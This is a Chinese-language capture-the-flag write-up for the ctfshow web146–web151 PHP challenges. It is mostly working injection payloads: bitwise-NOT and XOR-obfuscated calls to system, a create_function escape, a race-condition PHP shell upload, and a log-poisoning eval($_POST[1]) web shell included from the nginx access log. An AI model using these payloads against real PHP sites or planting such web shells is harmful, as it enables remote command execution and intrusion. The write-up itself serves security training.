1.web146
:被过滤了,三元运算符用不了,还可以用位运算符,逻辑运算符,=等,逻辑运算符要注意或运算符的短路性
eval(return 1|phpinfo()|1)
eval(return 1==phpinfo()|1)
payload:
v1=1&v2=0&v3===(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)|
v1=1&v2=0&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)|
2.web147
匹配不是以字母开头的字符串 ,create_funciton的用法,需要在前面加一个字符绕过正则,达到命令执行
%5c()可以绕过正则
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写 法
create_function('$a','echo $a."123"')
类似于
function f($a) {echo $a."123";
}
payload:
GET ?show=;};system('cat f*');//
POST ctf=%5ccreate_function
3.web148
异或符号和括号没被过滤可以用异或运算绕过,还可以用中文绕过,其实还是异或运算
用羽师傅脚本生成payload
payload:
1.
("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%02"^"%60%60%7d%21%60%28");2.
code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
其实也是利用异或构造
"`{{{"^"?<>/"; 异或出来的结果是 _GET
4.web149
预期条件竞争
ctf=1.php
show=<?php system('tac /c*';)?>
burp 抓包发送到intruder 一个不断发送上面数据 位置不设 payload 设为null 另一个不断访问1.php
非预期
ctf=index.php
show=<?php eval($_POST[1]);?>
5.web150
strrpos查找最后出现的位置,没有为flase 先算后面===,为true,要想包含只能时isVIP为true
extract导入当前符号表,也就是变量覆盖
$_SERVER [‘QUERY_STRING’] 表示获取get和post 中的参数和值
isVIP和上面类中的函数没关系
payload
ua <?php eval($_POST[1])?>get isVIP=TRUE
post ctf=/var/log/nginx/access.log&1=system('cat f*');
6.web151
__autoload的函数在不在ctfshow类中
__autoload加载未定义的类,即进行类函数判断时会调用这个函数
__autoload函数会执行这个变量class
需要先构造__CTFSHOW__但是_被过滤了,.可以绕过,构造了这个变量
…CTFSHOW…,需要进行传值,因为原先并没有,而extract函数可以覆盖原先的变量,就变为了$CTFSHOW=phpinfo,class变量就是__ctfshow__变量,class的值为phpinfo,最后就会执行phpinfo
flag在phpinfo中
__autoload — 尝试加载未定义的类
最后构造?..CTFSHOW…=phpinfo就可以看到phpinfo信息啦
原因是…CTFSHOW…解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用
__autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo
接下来就去getshell啦
payload:
get
..CTFSHOW..=phpinfo
参考文章